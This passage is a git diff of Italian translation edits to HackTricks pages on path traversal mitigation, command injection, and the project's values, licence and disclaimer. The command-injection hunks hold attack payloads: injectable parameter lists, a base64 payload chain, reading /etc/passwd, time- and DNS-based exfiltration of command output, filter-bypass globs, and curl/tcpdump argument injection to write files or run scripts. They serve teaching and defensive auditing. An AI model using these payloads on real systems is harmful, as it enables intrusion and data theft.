containment con realpath() -- Cerca pattern di traversal (../) che raggiungono al di fuori della directory templates prevista +- Qualsiasi handler che concatena i percorsi di richiesta in sink di include()/require()/read senza containment tramite realpath() +- Cercare traversal patterns (../) che raggiungono al di fuori della directory templates prevista -Hardening -- Forzare allowlisted templates; risolvere con realpath() e richiedere str_starts_with(realpath(file), realpath(allowed_base)) -- Normalizzare l'input; rifiutare sequenze di traversal e percorsi assoluti; usare sanitize_file_name() solo per nomi di file (non per percorsi completi) +Mitigazioni +- Forzare l'uso di template consentiti (allowlisted); risolvere con realpath() e richiedere str_starts_with(realpath(file), realpath(allowed_base)) +- Normalizzare gli input; rifiutare sequenze di traversal e path assoluti; usare sanitize_file_name() solo per nomi di file (non per percorsi completi) ## Riferimenti diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index c4a41d7c3..1d7c23587 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -4,7 +4,7 @@ ## Che cos'è command Injection? -A **command injection** permette l'esecuzione di comandi arbitrari del sistema operativo da parte di un attaccante sul server che ospita un'applicazione. Di conseguenza, l'applicazione e tutti i suoi dati possono essere completamente compromessi. L'esecuzione di questi comandi tipicamente consente all'attaccante di ottenere accesso o controllo non autorizzato sull'ambiente dell'applicazione e sul sistema sottostante. +Una **command injection** permette l'esecuzione di comandi arbitrari del sistema operativo da parte di un attacker sul server che ospita un'applicazione. Di conseguenza, l'applicazione e tutti i suoi dati possono essere completamente compromessi. L'esecuzione di questi comandi tipicamente consente all'attacker di ottenere accesso non autorizzato o controllo sull'ambiente dell'applicazione e sul sistema sottostante. ### Contesto @@ -30,10 +30,11 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command ``` -### **Limition** Bypasses +### **Limitazioni** Bypasses Se stai cercando di eseguire **comandi arbitrari all'interno di una macchina linux** ti interesserà leggere questi **Bypasses:** + {{#ref}} ../linux-hardening/bypass-bash-restrictions/ {{#endref}} @@ -46,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Parametri -Ecco i 25 parametri principali che potrebbero essere vulnerabili a code injection e simili vulnerabilità RCE (da [link](https://twitter.com/trbughunters/status/1283133356922884096)): +Ecco i primi 25 parametri che potrebbero essere vulnerabili a code injection e a simili RCE vulnerabilities (da [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -74,9 +75,9 @@ Ecco i 25 parametri principali che potrebbero essere vulnerabili a code injectio ?run={payload} ?print={payload} ``` -### Time based data exfiltration +### Esfiltrazione dati basata sul tempo -Estrazione dei dati: char per char +Estrazione dei dati: carattere per carattere ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s @@ -88,9 +89,9 @@ real 0m0.002s user 0m0.000s sys 0m0.000s ``` -### DNS based data exfiltration +### Esfiltrazione di dati basata su DNS -Basato sullo strumento disponibile su `https://github.com/HoLyVieR/dnsbin` anche ospitato su dnsbin.zhack.ca +Basato sullo strumento disponibile su `https://github.com/HoLyVieR/dnsbin` e ospitato anche su dnsbin.zhack.ca ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -105,7 +106,7 @@ Strumenti online per controllare DNS based data exfiltration: - dnsbin.zhack.ca - pingb.in -### Filtering bypass +### Bypass del filtraggio #### Windows ``` @@ -121,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad ### Node.js `child_process.exec` vs `execFile` -Quando esamini back-end JavaScript/TypeScript incontrerai spesso l'API Node.js `child_process`. +Durante l'audit dei back-end JavaScript/TypeScript incontrerai spesso l'API Node.js `child_process`. ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -129,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` avvia una **shell** (`/bin/sh -c`), quindi qualsiasi carattere che abbia un significato speciale per la shell (back-ticks, `;`, `&&`, `|`, `$()`, …) causa **command injection** quando l'input dell'utente viene concatenato nella stringa. +`exec()` genera una **shell** (`/bin/sh -c`), quindi qualsiasi carattere che abbia un significato speciale per la shell (back-ticks, `;`, `&&`, `|`, `$()`, …) provocherà una **command injection** quando l'input dell'utente viene concatenato nella stringa. -**Mitigazione:** usa `execFile()` (o `spawn()` senza l'opzione `shell`) e fornisci **ogni argomento come elemento separato dell'array** in modo che non venga coinvolta nessuna shell: +**Mitigazione:** usa `execFile()` (o `spawn()` senza l'opzione `shell`) e fornisci **ogni argomento come un elemento separato dell'array** in modo che nessuna shell venga coinvolta: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -139,27 +140,27 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -Real-world case: *Synology Photos* ≤ 1.7.0-0794 era sfruttabile tramite un evento WebSocket non autenticato che inseriva dati controllati dall'attaccante in `id_user`, poi incorporati in una chiamata `exec()`, ottenendo RCE (Pwn2Own Ireland 2024). +Caso reale: *Synology Photos* ≤ 1.7.0-0794 era sfruttabile tramite un evento WebSocket non autenticato che inseriva dati controllati dall'attaccante in `id_user`, poi incorporati in una chiamata `exec()`, ottenendo RCE (Pwn2Own Ireland 2024). -### Injection di argomenti/opzioni tramite trattino iniziale (argv, senza metacaratteri di shell) +### Argument/Option injection via leading hyphen (argv, no shell metacharacters) -Non tutte le injection richiedono metacaratteri di shell. Se l'applicazione passa stringhe non affidabili come argomenti a un utility di sistema (anche con `execve`/`execFile` e senza shell), molti programmi interpreteranno comunque qualsiasi argomento che inizi con `-` o `--` come opzione. Questo permette a un attaccante di cambiare modalità, modificare percorsi di output o attivare comportamenti pericolosi senza mai entrare in una shell. +Not all injections require shell metacharacters. If the application passes untrusted strings as arguments to a system utility (even with `execve`/`execFile` and no shell), many programs will still parse any argument that begins with `-` or `--` as an option. This lets an attacker flip modes, change output paths, or trigger dangerous behaviors without ever breaking into a shell. -Luoghi tipici in cui questo appare: +Luoghi tipici in cui questo si manifesta: -- Embedded web UIs/CGI handlers che costruiscono comandi come `ping `, `tcpdump -i -w `, `curl `, ecc. -- Router CGI centralizzati (es., `/cgi-bin/.cgi` con un parametro selector come `topicurl=`) dove più handler riutilizzano lo stesso validatore debole. +- Embedded web UIs/CGI handlers che costruiscono comandi come `ping `, `tcpdump -i -w `, `curl `, etc. +- Centralized CGI routers (e.g., `/cgi-bin/.cgi` con un parametro selettore come `topicurl=`) dove più handler riutilizzano lo stesso validatore debole. Cosa provare: -- Fornire valori che iniziano con `-`/`--` per farli interpretare come flag dallo strumento a valle. -- Abusare di flag che cambiano comportamento o scrivono file, per esempio: +- Fornire valori che iniziano con `-`/`--` affinché vengano consumati come flag dallo strumento a valle. +- Abusare di flag che cambiano il comportamento o scrivono file, per esempio: - `ping`: `-f`/`-c 100000` per stressare il dispositivo (DoS) - - `curl`: `-o /tmp/x` per scrivere percorsi arbitrari, `-K ` per caricare configurazioni controllate dall'attaccante - - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` per ottenere esecuzione post-rotate in wrapper non sicuri -- Se il programma supporta `--` (end-of-options), provare a bypassare mitigazioni ingenue che prependono `--` nel posto sbagliato. + - `curl`: `-o /tmp/x` per scrivere in percorsi arbitrari, `-K ` per caricare una config controllata dall'attaccante + - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` per ottenere l'esecuzione post-rotate in wrapper non sicuri +- Se il programma supporta `--` end-of-options, prova a bypassare mitigazioni ingenue che antepongono `--` nel posto sbagliato. -Forme generiche di PoC contro dispatcher CGI centralizzati: +Generic PoC shapes against centralized CGI dispatchers: ``` POST /cgi-bin/cstecgi.cgi HTTP/1.1 Content-Type: application/x-www-form-urlencoded @@ -182,9 +183,9 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection) -- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) -- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php) -- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) -- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) +- [Estrazione di archivi Synology criptati – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) +- [Manuale di PHP proc_open](https://www.php.net/manual/en/function.proc-open.php) +- [HTB Nocturnal: IDOR → Command Injection → Root tramite ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) +- [Unit 42 – TOTOLINK X6000R: Tre nuove vulnerabilità scoperte](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index cbb8ebae6..a0210934d 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -1,4 +1,4 @@ -# Valori di HackTricks e FAQ +# HackTricks Valori & FAQ {{#include ../banners/hacktricks-training.md}} @@ -7,15 +7,15 @@ > [!TIP] > Questi sono i **valori del progetto HackTricks**: > -> - Dare accesso **GRATUITO** a risorse **EDUCATIVE di hacking** per **TUTTA** Internet. -> - L'hacking riguarda l'apprendimento, e l'apprendimento dovrebbe essere il più libero possibile. -> - Lo scopo di questo libro è servire come una **risorsa educativa** completa. -> - **CONSERVARE** fantastiche tecniche di **hacking** che la community pubblica, dando agli **AUTORI ORIGINALI** tutti i **crediti**. -> - **Non vogliamo i meriti di altre persone**, vogliamo solo conservare trucchi interessanti per tutti. -> - Scriviamo anche le **nostre ricerche** in HackTricks. -> - In diversi casi scriveremo solo **in HackTricks un riassunto delle parti importanti** della tecnica e **incoraggeremo il lettore a visitare il post originale** per maggiori dettagli. -> - **ORGANIZZARE** tutte le tecniche di hacking nel libro così che siano **PIÙ ACCESSIBILI** -> - Il team di HackTricks ha dedicato migliaia di ore gratuitamente **solo per organizzare il contenuto** così le persone possano **imparare più velocemente** +> - Fornire accesso **FREE** a risorse **EDUCATIONAL hacking** a **ALL** Internet. +> - Hacking riguarda l'apprendimento, e l'apprendimento dovrebbe essere il più gratuito possibile. +> - Lo scopo di questo libro è servire come una **risorsa educativa** esaustiva. +> - **STORE** tecniche **hacking** fantastiche che la community pubblica, dando agli **AUTORI ORIGINALI** tutti i **crediti**. +> - Non vogliamo il merito di altre persone, vogliamo solo conservare trucchi interessanti per tutti. +> - Scriviamo anche le nostre ricerche su HackTricks. +> - In diversi casi scriveremo su HackTricks solo un riassunto delle parti importanti della tecnica e incoraggeremo il lettore a visitare il post originale per maggiori dettagli. +> - **ORGANIZZARE** tutte le tecniche di **hacking** nel libro così sono **PIÙ ACCESSIBILI** +> - Il team di HackTricks ha dedicato migliaia di ore gratuitamente **solo per organizzare il contenuto** così le persone possono **imparare più velocemente**
@@ -25,7 +25,7 @@ > > - **Grazie mille per queste risorse, come posso ringraziarvi?** -Puoi ringraziare pubblicamente il team di HackTricks per aver messo insieme tutte queste risorse con un tweet menzionando [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ +Puoi ringraziare pubblicamente il team di HackTricks per aver raccolto tutte queste risorse con un tweet menzionando [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ Se sei particolarmente riconoscente puoi anche [**sponsorizzare il progetto qui**](https://github.com/sponsors/carlospolop).\ E non dimenticare di **mettere una stella ai progetti su Github!** (Trova i link sotto). @@ -33,12 +33,12 @@ E non dimenticare di **mettere una stella ai progetti su Github!** (Trova i link > > - **Come posso contribuire al progetto?** -Puoi **condividere nuovi suggerimenti e trucchi con la community o correggere bug** che trovi nei libri inviando una **Pull Request** alle rispettive pagine Github: +Puoi **condividere nuovi consigli e trucchi con la community o correggere bug** che trovi nei libri inviando una **Pull Request** alle rispettive pagine GitHub: - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) -Non dimenticare di **mettere una stella ai progetti su Github!** +Non dimenticare di **mettere una stella ai progetti GitHub!** > [!TIP] > @@ -50,7 +50,7 @@ Sì, puoi, ma **non dimenticare di menzionare il/i link specifici** da cui è st > > - **Come posso citare una pagina di HackTricks?** -Finché appare il link **della** pagina(e) da cui hai preso l'informazione è sufficiente.\ +Finché appare il link della/le pagina/e da cui hai preso le informazioni è sufficiente.\ Se hai bisogno di un bibtex puoi usare qualcosa del genere: ```latex @misc{hacktricks-bibtexing, @@ -62,82 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, ``` > [!WARNING] > -> - **Posso copiare tutti gli HackTricks nel mio blog?** -> +> - **Can I copy all HackTricks in my blog?** + **Preferirei di no**. Questo **non gioverebbe a nessuno** dato che tutto il **contenuto è già pubblicamente disponibile** nei libri ufficiali di HackTricks gratuitamente. -Se temi che possa scomparire, basta forkare su Github o scaricarlo; come detto, è già gratuito. +Se temi che possa sparire, basta fare fork su Github o scaricarlo; come ho detto è già gratuito. > [!WARNING] > -> - **Perché avete degli sponsor? I libri HackTricks hanno fini commerciali?** -> -Il primo **valore** di **HackTricks** è offrire risorse educative di hacking **GRATUITE** a **TUTTO** il mondo. Il team di HackTricks ha **dedicato migliaia di ore** per offrire questo contenuto, nuovamente, **GRATUITAMENTE**. +> - **Why do you have sponsors? Are HackTricks books for commercial purposes?** -Se pensi che i libri HackTricks siano creati per **fini commerciali** ti sbagli **COMPLETAMENTE**. +Il primo **valore** di **HackTricks** è offrire risorse educative di hacking **GRATUITE** a **TUTTO** il mondo. Il team di HackTricks ha **dedicato migliaia di ore** per offrire questo contenuto, ancora una volta, **GRATUITAMENTE**. -Abbiamo sponsor perché, anche se tutto il contenuto è **GRATUITO**, vogliamo dare alla **community la possibilità di apprezzare il nostro lavoro** se lo desidera. Pertanto offriamo alle persone l'opzione di donare a HackTricks tramite [**Github sponsors**](https://github.com/sponsors/carlospolop), e **aziende di cybersecurity rilevanti** possono sponsorizzare HackTricks e inserire **alcuni annunci** nel libro, posizionando gli **annunci** sempre in punti che li rendano **visibili** ma che **non disturbino il processo di apprendimento** se qualcuno si concentra sul contenuto. +Se pensi che i libri di HackTricks siano fatti per **scopi commerciali** ti sbagli **COMPLETAMENTE**. -Non troverai HackTricks pieno di annunci fastidiosi come altri blog con molto meno contenuto, perché HackTricks non è fatto per fini commerciali. +Abbiamo sponsor perché, anche se tutto il contenuto è GRATUITO, vogliamo **offrire alla community la possibilità di apprezzare il nostro lavoro** se lo desidera. Pertanto, offriamo alle persone l'opzione di donare a HackTricks tramite [**Github sponsors**](https://github.com/sponsors/carlospolop), e ad **aziende rilevanti nel settore della cybersecurity** di sponsorizzare HackTricks e di inserire alcune pubblicità nel libro, con le **pubblicità** sempre posizionate in punti dove risultano **visibili** ma **non disturbano il processo di apprendimento** se qualcuno si concentra sul contenuto. + +Non troverai HackTricks pieno di pubblicità fastidiose come altri blog con molto meno contenuto di HackTricks, perché HackTricks non è fatto per scopi commerciali. > [!CAUTION] > -> - **Cosa devo fare se una pagina di HackTricks è basata su un mio post del blog ma non è referenziata?** -> -**Ci dispiace molto. Questo non dovrebbe essere successo**. Per favore, faccelo sapere tramite Github issues, Twitter, Discord... il link della pagina HackTricks con il contenuto e il link del tuo blog e **lo controlleremo e lo aggiungeremo il prima possibile**. +> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?** + +**Ci dispiace molto. Questo non avrebbe dovuto accadere**. Per favore, faccelo sapere tramite Github issues, Twitter, Discord... il link della pagina di HackTricks con il contenuto e il link del tuo blog e **verificheremo e aggiungeremo il riferimento il prima possibile**. > [!CAUTION] > -> - **Cosa devo fare se c'è contenuto del mio blog in HackTricks e non voglio che ci sia?** -> +> - **What should I do if there is content from my blog in HackTricks and I don't want it there?** + Nota che avere link alla tua pagina in HackTricks: - Migliora la tua **SEO** -- Il contenuto viene **tradotto in più di 15 lingue** permettendo a più persone di accedere a quel contenuto -- **HackTricks incoraggia** le persone a **visitare la tua pagina** (diverse persone ci hanno segnalato che da quando una loro pagina è su HackTricks ricevono più visite) +- Il contenuto viene **tradotto in più di 15 lingue**, rendendo possibile a più persone l'accesso a quel contenuto +- **HackTricks incoraggia** le persone a **consultare la tua pagina** (diverse persone ci hanno detto che da quando una loro pagina è su HackTricks ricevono più visite) -Tuttavia, se vuoi comunque che il contenuto del tuo blog sia rimosso da HackTricks, comunicacelo e provvederemo sicuramente a **rimuovere ogni link al tuo blog**, e qualsiasi contenuto basato su di esso. +Tuttavia, se vuoi comunque che il contenuto del tuo blog venga rimosso da HackTricks comunicacelo e provvederemo definitivamente a **rimuovere ogni link al tuo blog**, e qualsiasi contenuto basato su di esso. > [!CAUTION] > -> - **Cosa devo fare se trovo contenuti copiati/incollati in HackTricks?** -> -Noi **diamo sempre tutti i crediti agli autori originali**. Se trovi una pagina con contenuti copiati senza la fonte originale referenziata, faccelo sapere e provvederemo o a **rimuoverla**, o a **inserire il link prima del testo**, o a **riscriverla aggiungendo il link**. +> - **What should I do if I find copy-pasted content in HackTricks?** + +Diamo sempre **tutti i crediti agli autori originali**. Se trovi una pagina con contenuto copiato senza la fonte originale citata, faccelo sapere e provvederemo o a **rimuoverla**, o a **aggiungere il link prima del testo**, o a **riscriverla aggiungendo il link**. ## LICENSE Copyright © Tutti i diritti riservati salvo diversa indicazione. -#### Riassunto della licenza: +#### License Summary: -- Attribuzione: Sei libero di: +- Attribution: Sei libero di: - Share — copiare e ridistribuire il materiale in qualsiasi mezzo o formato. -- Adapt — remixare, trasformare e creare opere derivate dal materiale. +- Adapt — remixare, trasformare e sviluppare a partire dal materiale. -#### Termini aggiuntivi: +#### Additional Terms: -- Third-Party Content: Alcune parti di questo blog/libro possono includere contenuti provenienti da altre fonti, come estratti da altri blog o pubblicazioni. L'uso di tali contenuti avviene sotto i principi del fair use o con il permesso esplicito dei rispettivi detentori dei diritti d'autore. Si prega di fare riferimento alle fonti originali per informazioni specifiche sulla licenza relative ai contenuti di terze parti. -- Authorship: Il contenuto originale redatto da HackTricks è soggetto ai termini di questa licenza. Sei incoraggiato ad attribuire questo lavoro all'autore quando lo condividi o lo adatti. +- Third-Party Content: Alcune parti di questo blog/libro possono includere contenuti provenienti da altre fonti, come estratti da altri blog o pubblicazioni. L'uso di tali contenuti viene effettuato secondo i principi del fair use o con permesso esplicito dai rispettivi titolari dei diritti d'autore. Si prega di fare riferimento alle fonti originali per informazioni specifiche sulla licenza relative ai contenuti di terze parti. +- Authorship: Il contenuto originale creato da HackTricks è soggetto ai termini di questa licenza. Sei incoraggiato ad attribuire questo lavoro all'autore quando lo condividi o lo adatti. -#### Esenzioni: +#### Exemptions: - Commercial Use: Per richieste riguardanti l'uso commerciale di questo contenuto, contattami. -Questa licenza non concede alcun diritto relativo a marchi o branding in relazione al contenuto. Tutti i marchi e i brand presenti in questo blog/libro sono proprietà dei rispettivi proprietari. +Questa licenza non concede alcun diritto su marchi o branding in relazione al contenuto. Tutti i marchi e i brand presenti in questo blog/libro sono di proprietà dei rispettivi titolari. **Accedendo o utilizzando HackTricks, accetti di rispettare i termini di questa licenza. Se non sei d'accordo con questi termini, per favore non accedere a questo sito.** -## **Esclusione di responsabilità** +## **Disclaimer** > [!CAUTION] -> Questo libro, 'HackTricks', è pensato esclusivamente per scopi educativi e informativi. Il contenuto di questo libro è fornito "così com'è", e gli autori e gli editori non forniscono alcuna dichiarazione o garanzia di alcun tipo, espressa o implicita, circa la completezza, accuratezza, affidabilità, idoneità o disponibilità delle informazioni, dei prodotti, dei servizi o delle immagini correlate contenute in questo libro. Qualsiasi affidamento su tali informazioni è quindi strettamente a tuo rischio. +> Questo libro, 'HackTricks,' è destinato esclusivamente a scopi educativi e informativi. Il contenuto all'interno di questo libro è fornito su base "as is", e gli autori e i publisher non forniscono alcuna dichiarazione o garanzia di alcun tipo, espressa o implicita, sulla completezza, accuratezza, affidabilità, idoneità o disponibilità delle informazioni, prodotti, servizi o grafici correlati contenuti in questo libro. Qualsiasi fiducia riposta in tali informazioni è pertanto a tuo esclusivo rischio. > -> Gli autori e gli editori non saranno in alcun caso responsabili per qualsiasi perdita o danno, inclusi, senza limitazione, perdite o danni indiretti o consequenziali, o qualsiasi perdita o danno derivante da perdita di dati o profitti risultanti dall'uso di questo libro o in connessione con esso. +> Gli autori e i publisher non saranno in alcun caso responsabili per qualsiasi perdita o danno, inclusi, a titolo esemplificativo ma non esaustivo, perdite o danni indiretti o consequenziali, o qualsiasi perdita o danno derivante dalla perdita di dati o profitti derivanti da, o in connessione con, l'uso di questo libro. > -> Inoltre, le tecniche e i suggerimenti descritti in questo libro sono forniti a scopo educativo e informativo e non devono essere utilizzati per attività illegali o malevole. Gli autori e gli editori non approvano né supportano attività illegali o non etiche, e qualsiasi uso delle informazioni contenute in questo libro è a rischio e discrezione dell'utente. +> Inoltre, le tecniche e i suggerimenti descritti in questo libro sono forniti esclusivamente a scopo educativo e informativo, e non dovrebbero essere utilizzati per attività illegali o dannose. Gli autori e i publisher non avallano né supportano attività illegali o non etiche, e qualsiasi uso delle informazioni contenute in questo libro è a rischio e discrezione dell'utente. > -> L'utente è l'unico responsabile per qualsiasi azione intrapresa sulla base delle informazioni contenute in questo libro, e dovrebbe sempre cercare consulenza e assistenza professionale quando tenta di implementare qualsiasi tecnica o consiglio qui descritti. +> L'utente è l'unico responsabile per qualsiasi azione intrapresa sulla base delle informazioni contenute in questo libro, e dovrebbe sempre cercare consulenza e assistenza professionale quando tenta di implementare una qualsiasi delle tecniche o dei suggerimenti qui descritti. > -> Utilizzando questo libro, l'utente accetta di sollevare gli autori e gli editori da qualsiasi e tutta responsabilità e responsabilità per eventuali danni, perdite o danni che potrebbero derivare dall'uso di questo libro o di qualsiasi informazione in esso contenuta. +> Utilizzando questo libro, l'utente accetta di sollevare gli autori e i publisher da qualsiasi e tutta responsabilità per eventuali danni, perdite o pregiudizi che possano derivare dall'uso di questo libro o di qualsiasi delle informazioni in esso contenute. {{#include ../banners/hacktricks-training.md}}